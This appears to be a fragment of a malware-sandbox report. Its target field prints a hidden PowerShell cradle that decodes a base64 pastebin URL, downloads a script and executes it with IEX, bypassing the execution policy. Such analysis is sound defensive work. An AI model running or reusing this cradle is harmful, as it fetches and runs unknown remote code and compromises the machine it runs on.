General

  • Target
    http://powershell -NoP -NonI -W Hidden -Exec Bypass -C "$x='aHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L0EwaUFnaUE2';$y='aGVsbG93b3JsZDEyMw==';$z=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($x));$w=New-Object Net.WebClient;$w.Headers.Add('User-Agent','Mozilla/5.0');$v=$w.DownloadString($z);IEX $v"
  • Sample260626-x3htfset3s
Score
1/10

Malware Config

Signatures

File Explorer